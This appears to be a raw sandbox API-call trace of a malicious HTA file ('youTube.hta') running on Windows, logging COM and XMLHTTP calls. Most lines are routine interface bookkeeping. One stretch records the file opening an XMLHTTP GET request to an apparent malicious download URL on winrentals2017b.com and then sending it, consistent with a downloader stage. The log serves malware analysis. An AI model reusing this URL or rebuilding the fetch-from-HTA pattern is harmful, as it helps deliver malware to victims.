[0205.092] IUnknown:QueryInterface (in: This=0x642aa40, riid=0x6562b19c*(Data1=0x3050f1ff, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppvObject=0x198c20 | out: ppvObject=0x198c20*=0x6408960) returned 0x0
[0205.092] IHTMLDocument2:get_forms (in: This=0x6408960, p=0x198c2c | out: p=0x198c2c*=0x76f5ec) returned 0x0
[0205.093] IUnknown:Release (This=0x6408960) returned 0x0
[0205.093] IUnknown:Release (This=0x642aa40) returned 0x1
[0205.093] IHTMLElementCollection:item (in: This=0x6408958, name=0x198b98*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), index=0x198ba8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pdisp=0x198c0c | out: pdisp=0x198c0c*=0x641a690) returned 0x0
[0205.093] IUnknown:QueryInterface (in: This=0x641a690, riid=0x6562b19c*(Data1=0x3050f1ff, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppvObject=0x198c20 | out: ppvObject=0x198c20*=0x6408960) returned 0x0
[0205.093] IHTMLDocument2:get_forms (in: This=0x6408960, p=0x198c2c | out: p=0x198c2c*=0x76f5ec) returned 0x0
[0205.093] IUnknown:Release (This=0x6408960) returned 0x0
[0205.093] IUnknown:Release (This=0x641a690) returned 0x2
[0205.093] IUnknown:Release (This=0x6408958) returned 0x0
[0205.093] IHTMLDocument2:get_url (in: This=0x64083c0, p=0x198c18 | out: p=0x198c18*="file://C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 0x0
[0205.094] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0205.094] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d4a20
[0205.094] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4a20 | out: hHeap=0x6b0000) returned 1
[0205.094] IUnknown:AddRef (This=0x6d993c) returned 0x9
[0205.094] IUnknown:Release (This=0x6d993c) returned 0x8
[0205.094] IUri:GetScheme (in: This=0x6d993c, pdwScheme=0x198b64 | out: pdwScheme=0x198b64*=0x9) returned 0x0
[0205.094] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x198b38 | out: ppvObject=0x198b38*=0x6d993c) returned 0x0
[0205.095] IUnknown:Release (This=0x6d993c) returned 0x8
[0205.095] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x198ad4 | out: ppvObject=0x198ad4*=0x6d993c) returned 0x0
[0205.095] IUnknown:Release (This=0x6d993c) returned 0x8
[0205.095] IUnknown:AddRef (This=0x6d993c) returned 0x9
[0205.095] CreateUri (in: pwzURI="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwFlags=0x2ba5, dwReserved=0x0, ppURI=0x198b84 | out: ppURI=0x198b84*=0x6b786c) returned 0x0
[0205.096] IUnknown:Release (This=0x6d993c) returned 0x8
[0205.096] IUnknown:QueryInterface (in: This=0x6b786c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x198b64 | out: ppvObject=0x198b64*=0x6b786c) returned 0x0
[0205.096] IUnknown:Release (This=0x6b786c) returned 0x3
[0205.096] IUnknown:AddRef (This=0x6b786c) returned 0x4
[0205.096] IUnknown:Release (This=0x6b786c) returned 0x3
[0205.096] IUnknown:Release (This=0x6d993c) returned 0x7
[0205.096] IUnknown:Release (This=0x6b786c) returned 0x2
[0205.096] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x3
[0205.097] IUnknown:Release (This=0x64083c0) returned 0x0
[0205.097] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65626c00*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x198c38 | out: ppvObject=0x198c38*=0x0) returned 0x80004002
[0205.097] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65626608*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x198c28 | out: ppvObject=0x198c28*=0x0) returned 0x80004002
[0205.097] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65629964*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x198c3c | out: ppvObject=0x198c3c*=0x6327348) returned 0x0
[0205.097] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x6562b1f4*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x65626d80*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x198c2c | out: ppvObject=0x198c2c*=0x0) returned 0x80004002
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.097] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x65629944*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x65626c00*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x198c38 | out: ppvObject=0x198c38*=0x0) returned 0x80004002
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.097] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x6562b1d4*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x6562b1e4*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x198c30 | out: ppvObject=0x198c30*=0x64083c0) returned 0x0
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.097] GetCurrentThreadId () returned 0x7a0
[0205.098] IHTMLDocument2:get_url (in: This=0x64083c0, p=0x198c40 | out: p=0x198c40*="file://C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 0x0
[0205.098] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0205.098] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d4980
[0205.098] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4980 | out: hHeap=0x6b0000) returned 1
[0205.098] IUnknown:AddRef (This=0x6d993c) returned 0x9
[0205.098] IUnknown:Release (This=0x6d993c) returned 0x8
[0205.098] IUri:GetScheme (in: This=0x6d993c, pdwScheme=0x198bb4 | out: pdwScheme=0x198bb4*=0x9) returned 0x0
[0205.098] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x198b88 | out: ppvObject=0x198b88*=0x6d993c) returned 0x0
[0205.099] IUnknown:Release (This=0x6d993c) returned 0x8
[0205.099] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x198b24 | out: ppvObject=0x198b24*=0x6d993c) returned 0x0
[0205.099] IUnknown:Release (This=0x6d993c) returned 0x8
[0205.099] IUnknown:AddRef (This=0x6d993c) returned 0x9
[0205.099] CreateUri (in: pwzURI="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwFlags=0x2ba5, dwReserved=0x0, ppURI=0x198bd4 | out: ppURI=0x198bd4*=0x6b786c) returned 0x0
[0205.099] IUnknown:Release (This=0x6d993c) returned 0x8
[0205.099] IUnknown:QueryInterface (in: This=0x6b786c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x198bb4 | out: ppvObject=0x198bb4*=0x6b786c) returned 0x0
[0205.100] IUnknown:Release (This=0x6b786c) returned 0x3
[0205.100] IUnknown:AddRef (This=0x6b786c) returned 0x4
[0205.100] IUnknown:Release (This=0x6b786c) returned 0x3
[0205.100] IUnknown:Release (This=0x6d993c) returned 0x7
[0205.100] IUnknown:Release (This=0x6b786c) returned 0x2
[0205.100] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x3
[0205.100] IUnknown:Release (This=0x64083c0) returned 0x0
[0205.100] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.100] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65629964*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x199ccc | out: ppvObject=0x199ccc*=0x6327348) returned 0x0
[0205.100] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x65629944*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x65629944*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x199cd0 | out: ppvObject=0x199cd0*=0x64083c0) returned 0x0
[0205.100] GetCurrentThreadId () returned 0x7a0
[0205.100] GetCurrentThreadId () returned 0x7a0
[0205.100] GetCurrentThreadId () returned 0x7a0
[0205.101] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.101] IUnknown:AddRef (This=0x64083c0) returned 0x2
[0205.101] IUnknown:Release (This=0x64083c0) returned 0x1
[0205.101] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873980, riid=0x6cf5a8cc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199db4 | out: ppvObject=0x199db4*=0x9873960) returned 0x0
[0205.101] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873960, riid=0x6cf612c0*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x199d64 | out: ppvObject=0x199d64*=0x0) returned 0x80004002
[0205.101] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873960, riid=0x6cf61b58*(Data1=0x626fc520, Data2=0xa41e, Data3=0x11cf, Data4=([0]=0xa7, [1]=0x31, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x8, [6]=0x26, [7]=0x37)), ppvObject=0x199d44 | out: ppvObject=0x199d44*=0x0) returned 0x80004002
[0205.102] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873960, riid=0x6cf61b48*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x199d4c | out: ppvObject=0x199d4c*=0x0) returned 0x80004002
[0205.102] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873960, riid=0x6cf5a8bc*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x7410350 | out: ppvObject=0x7410350*=0x0) returned 0x80004002
[0205.102] XMLHTTP:IUnknown:AddRef (This=0x9873960) returned 0x4
[0205.102] XMLHTTP:IUnknown:Release (This=0x98739a4) returned 0x3
[0205.102] XMLHTTP:IUnknown:Release (This=0x9873960) returned 0x2
[0205.102] XMLHTTP:IUnknown:Release (This=0x9873980) returned 0x1
[0205.107] XMLHTTP:IDispatch:GetIDsOfNames (in: This=0x9873960, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199d9c*="open", cNames=0x1, lcid=0x409, rgDispId=0x199e00 | out: rgDispId=0x199e00*=1) returned 0x0
[0205.107] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873960, riid=0x6cf5a8bc*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x7410390 | out: ppvObject=0x7410390*=0x0) returned 0x80004002
[0205.107] XMLHTTP:IUnknown:AddRef (This=0x9873960) returned 0x2
[0205.107] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873960, riid=0x6cf5a8dc*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x199e44 | out: ppvObject=0x199e44*=0x0) returned 0x80004002
[0205.108] XMLHTTP:IUnknown:AddRef (This=0x9873960) returned 0x3
[0205.341] XMLHTTP:IDispatch:Invoke (in: This=0x9873960, dispIdMember=1, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x199e18*(rgvarg=([0]=0x199d80*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), [1]=0x199d90*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="http://winrentals2017b.com/tegz/Q277aG7FkN9pAcaWDfFlGNBeuaqGed8i/baWexTQoGyAAzLR/AU1XErrU1FitjjV8BBaQuem65smQXYvyd/64063/g6fJYLGHRVWp7s1tvHnZdv/XcjcYCjBX8tPaALshiDAx85PEq/cab3?ref=0t&WzOZ=9xyAidN&z3d9Ob0=EwAUkUUNyHsk&user=4Zky89n&cid=bE5YBOFyZvWHbGv9wPr7QVm&q=lYkgZNGYoZpu9", varVal2=0x0), [2]=0x199da0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="GET", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x199dc8, puArgErr=0x199d2c | out: pDispParams=0x199e18*(rgvarg=([0]=0x199d80*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), [1]=0x199d90*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="http://winrentals2017b.com/tegz/Q277aG7FkN9pAcaWDfFlGNBeuaqGed8i/baWexTQoGyAAzLR/AU1XErrU1FitjjV8BBaQuem65smQXYvyd/64063/g6fJYLGHRVWp7s1tvHnZdv/XcjcYCjBX8tPaALshiDAx85PEq/cab3?ref=0t&WzOZ=9xyAidN&z3d9Ob0=EwAUkUUNyHsk&user=4Zky89n&cid=bE5YBOFyZvWHbGv9wPr7QVm&q=lYkgZNGYoZpu9", varVal2=0x0), [2]=0x199da0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="GET", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x199dc8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199d2c*=0x9676ec0) returned 0x0
[0205.638] XMLHTTP:IUnknown:Release (This=0x9873960) returned 0x2
[0205.638] XMLHTTP:IDispatch:GetIDsOfNames (in: This=0x9873960, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199d9c*="send", cNames=0x1, lcid=0x409, rgDispId=0x199e00 | out: rgDispId=0x199e00*=5) returned 0x0
[0205.639] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873960, riid=0x6cf5a8bc*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x74103b0 | out: ppvObject=0x74103b0*=0x0) returned 0x80004002
[0205.639] XMLHTTP:IUnknown:AddRef (This=0x9873960) returned 0x3
[0205.639] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873960, riid=0x6cf5a8dc*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x199e94 | out: ppvObject=0x199e94*=0x0) returned 0x80004002
[0205.639] XMLHTTP:IUnknown:AddRef (This=0x9873960) returned 0x4
[0205.639] XMLHTTP:IDispatch:Invoke (in: This=0x9873960, dispIdMember=5, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x199e68*(rgvarg=0x199e00, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199e4c, pExcepInfo=0x199e18, puArgErr=0x199dac | out: pDispParams=0x199e68*(rgvarg=0x199e00, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199e4c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pExcepInfo=0x199e18*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199dac*=0x630c610) returned 0x0
[0205.662] XMLHTTP:IUnknown:AddRef (This=0x6327348) returned 0x2
[0205.662] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65629964*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x19958c | out: ppvObject=0x19958c*=0x6327348) returned 0x0
[0205.663] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x70a44824*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x70a44824*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x790bc4 | out: ppvObject=0x790bc4*=0x0) returned 0x80004002
[0205.663] GetCurrentThreadId () returned 0x7a0
[0205.663] GetCurrentThreadId () returned 0x7a0
[0205.663] GetCurrentThreadId () returned 0x7a0
[0205.663] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.663] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x1
[0205.664] IUnknown:AddRef (This=0x64083c0) returned 0x2
[0205.664] IUnknown:Release (This=0x64083c0) returned 0x1
[0205.664] XMLHTTP:IUnknown:AddRef (This=0x6327348) returned 0x2
[0205.664] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65629964*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x199474 | out: ppvObject=0x199474*=0x6327348) returned 0x0
[0205.665] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x70a47344*(Data1=0xaf0ff408, Data2=0x129d, Data3=0x4b20, Data4=([0]=0x91, [1]=0xf0, [2]=0x2, [3]=0xbd, [4]=0x23, [5]=0xd8, [6]=0x83, [7]=0x52)), riid=0x70a47344*(Data1=0xaf0ff408, Data2=0x129d, Data3=0x4b20, Data4=([0]=0x91, [1]=0xf0, [2]=0x2, [3]=0xbd, [4]=0x23, [5]=0xd8, [6]=0x83, [7]=0x52)), ppvObject=0x199570 | out: ppvObject=0x199570*=0x0) returned 0x80004002
[0205.665] GetCurrentThreadId () returned 0x7a0
[0205.665] GetCurrentThreadId () returned 0x7a0
[0205.665] GetCurrentThreadId () returned 0x7a0
[0205.665] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.665] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x1
[0205.770] XMLHTTP:IUnknown:AddRef (This=0x6327348) returned 0x2
[0205.770] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65629964*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x198bb0 | out: ppvObject=0x198bb0*=0x6327348) returned 0x0
[0205.771] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x70a44c68*(Data1=0x79eac9c1, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x70a434c0*(Data1=0x79eac9c1, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x198c7c | out: ppvObject=0x198c7c*=0x0) returned 0x80004002
[0205.771] GetCurrentThreadId () returned 0x7a0
[0205.771] GetCurrentThreadId () returned 0x7a0
[0205.771] GetCurrentThreadId () returned 0x7a0
[0205.771] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.771] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x1
[0205.771] XMLHTTP:IUnknown:AddRef (This=0x6327348) returned 0x2
[0205.771] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65629964*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x198970 | out: ppvObject=0x198970*=0x6327348) returned 0x0
[0205.772] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x70a44968*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x70a44968*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x198a68 | out: ppvObject=0x198a68*=0x0) returned 0x80004002
[0205.772] GetCurrentThreadId () returned 0x7a0
[0205.772] GetCurrentThreadId () returned 0x7a0
[0205.772] GetCurrentThreadId () returned 0x7a0
[0205.772] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.772] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x1
[0205.773] XMLHTTP:IUnknown:AddRef (This=0x6327348) returned 0x2
[0205.773] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65629964*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x198b98 | out: ppvObject=0x198b98*=0x6327348) returned 0x0
[0205.774] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x70a44958*(Data1=0x79eac9d5, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x70a44958*(Data1=0x79eac9d5, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x198ca8 | out: ppvObject=0x198ca8*=0x6408960) returned 0x0
[0205.774] GetCurrentThreadId () returned 0x7a0
[0205.774] GetCurrentThreadId () returned 0x7a0
[0205.774] GetCurrentThreadId () returned 0x7a0
[0205.774] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.774] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x1
[0205.774] IInternetHostSecurityManager:GetSecurityId (in: This=0x6408960, pbSecurityId=0x70a43244, pcbSecurityId=0x198c98*=0x1, dwReserved=0x70a74e00*=0x8b55ff8b | out: pbSecurityId=0x70a43244*=0xd5, pcbSecurityId=0x198c98*=0x3029a) returned 0x0
[0205.774] CoCreateInstance (in: rclsid=0x6dc9ad2c*(Data1=0xe569bde7, Data2=0xa8dc, Data3=0x47f3, Data4=([0]=0x89, [1]=0x3f, [2]=0xfd, [3]=0x2b, [4]=0x31, [5]=0xb3, [6]=0xee, [7]=0xfd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6dc9ad3c*(Data1=0xe66a412d, Data2=0x14b3, Data3=0x425c, Data4=([0]=0x82, [1]=0xac, [2]=0x5b, [3]=0x77, [4]=0x16, [5]=0xcc, [6]=0xa5, [7]=0xa7)), ppv=0x198c3c | out: ppv=0x198c3c*=0x789c08) returned 0x0
[0208.836] IUnknown:Release (This=0x789c08) returned 0x0
[0208.836] IUnknown:Release (This=0x6408960) returned 0x0
[0209.277] XMLHTTP:IUnknown:Release (This=0x9873960) returned 0x3
[0209.277] XMLHTTP:IDispatch:GetIDsOfNames (in: This=0x9873960, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199dd4*="status", cNames=0x1, lcid=0x409, rgDispId=0x199e38 | out: rgDispId=0x199e38*=7) returned 0x0
[0209.277] XMLHTTP:IUnknown:AddRef (This=0x9873960) returned 0x4
